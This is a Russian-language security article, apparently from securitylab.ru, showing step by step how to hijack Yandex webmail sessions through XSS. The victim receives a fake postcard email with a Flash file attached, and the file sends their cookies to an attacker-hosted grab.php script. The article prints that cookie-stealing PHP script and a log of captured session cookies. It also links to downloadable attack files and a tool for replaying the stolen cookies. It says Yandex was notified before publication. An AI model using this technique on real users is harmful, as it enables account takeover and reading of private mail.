Автор статьи: el Nitro
Введение
Эта статья является примером того, как можно использовать уязвимость, описанную в статье <Обход JavaScript фильтров - Flash! Атака>[1].
XSS в веб интерфейсе почты даст возможность атакующему перехватить сессию аутентификации и получить доступ к корреспонденции пользователя и настройкам аккаунта. Для успешной атаки злоумышленник должен создать swf файл способный перехватить cookies пользователя и передать их скрипту расположенному на сервере атакующего. Далее атакующий, получив cookies, должен будет использовать их для аутентификации. Рассмотрим все действия подробно.
Реализация
Для отправки почты жертве атакующий будет использовать этот[2] PHP скрипт. Скрипт отправляет html письмо с прикрепленным flash файлом postcard.swf. Содержание письма замаскируем под открытку. Выберем, например вот эту http://cards.yandex.ru/previewcard.xhtml?cardid=1797
открытку и создадим её в
системе, отправив самому себе на СВОЙ аккаунт. В результате получим html код который шлёт настоящая открытка и ссылку на открытку с поздравлением в системе Яндекс открытки. Ссыка выглядит приблизительно так:
http://cards.yandex.ru/message.xhtml?id=
8e20df3454e8726331411bcae2c7bf0f
Пример html-кода открытки:
Здравствуйте, isjustatest@yandex.ru Службой Яндекс.Открытки Вам доставлено сообщение от пользователя: секрет. Для просмотра открытки нажмите на ссылку: http://mail.yandex.ru/{POSTCARD} или скопируйте линк в окошко "адрес" вашего браузера ____________________________________________________________ Яндекс.Открытки http://cards.yandex.ru
,где вместо {POSTCARD} будет помещена ссылка на прикрепленный файл postcard.swf.
Жертва, получившая послание и открывшая письмо увидит что-то вроде этого:
Теперь если нажать на ссылку обведенную красным, то откроется открытка
расположенная по адресу http://cards.yandex.ru/message.xhtml?
id=8e20df3454e8726331411bcae2c7bf0f
и жертва лишится cookies.
Посмотрим, что представляет из себя файл postcard.swf:
Как мы видим, javascript передаёт значения cookies методом GET скрипту grab.php:
---------------------------%<---------------------------------- <?php $cook = $_GET['cook']; $locat = $_GET['locat']; $report = "Cookies: $cook\n". "Location: $locat\n". "--------------\n\n"; error_log ($report, 3, "log.txt"); header("Location: http://cards.yandex.ru/message.xhtml?id= 8e20df3454e8726331411bcae2c7bf0f"); ?> ---------------------------%<----------------------------------
скрипт получает значения cookies и location и записывает их в файл log.txt:
---------------------------%<---------------------------------- Cookies: yabs-frequency=296972.2:291605.1:293272.1:288871.1: 289898.1:288848.1:269794.1:268616.1:289013.3:244013.5: 288082.2:259961.5:288833.1:289217.3:289810.1:291604.2: 288851.1:292964.2:289973.1:289987.1:290010.1:296852.2: 297775.1:288974.1; mail_tag=yandex.ru; yandex_login=isjustatest; my=YwECAAEIAAwABwAVABYADgAA; yandexuid=2042291113573567; Session_id=1115790036.75.0.12019287.2:27846757:5.13439.63498. 8fef1790dfc6f79ca36b225fa8e0aac6; yandex_fio=Васин Вася; yandex_mail=isjustatest; yandex_nickname=; yafolder=27846757: 1220000000000292066; mesort=date Location: http://mail.yandex.ru/img?hid=1.1 -------------- ---------------------------%<----------------------------------
строка header("Location: http://cards.yandex.ru/message.xhtml?
id=8e20df3454e8726331411bcae2c7bf0f");
переадресовывает браузер клиента на настоящую открытку которую мы создали ранее в системе <Яндекс.Открытки>.
Для пользователя всё выглядит совершенно незаметно и безобидно.
Далее злоумышленник использует полученные cookies например при помощи программы minibrowser[3] в которой cookies можно менять на лету:
Осталось нажать кнопку
Заключение
Стоит отметить, что в случае с Яндекс, перехваченные cookies действуют небольшой промежуток времени (при настройке уровня доступа <Узнавать меня, но запрашивать авторизацию>), но встречаются веб приложения, которые хранят в cookies md5 хеши от паролей и если злоумышленник перехватит их, то сможет пользоваться ими многократно или попытается расшифровать пароль.
p.s. Компания Яндекс получила уведомление о наличии уязвимости за несколько дней до публикации этого материала.
[1] <Обход JavaScript фильтров - Flash! Атака>
http://www.securitylab.ru/54476.html
[2] Все сопутствующие файлы можно взять с
http://hattack.ru/xss/yandex-xss_ru.rar
[3] Minibrowser можно скачать по адресу
http://hattack.ru/xss/files/minibrowser_2.20.rar
Первоисточник - www.securitylab.ru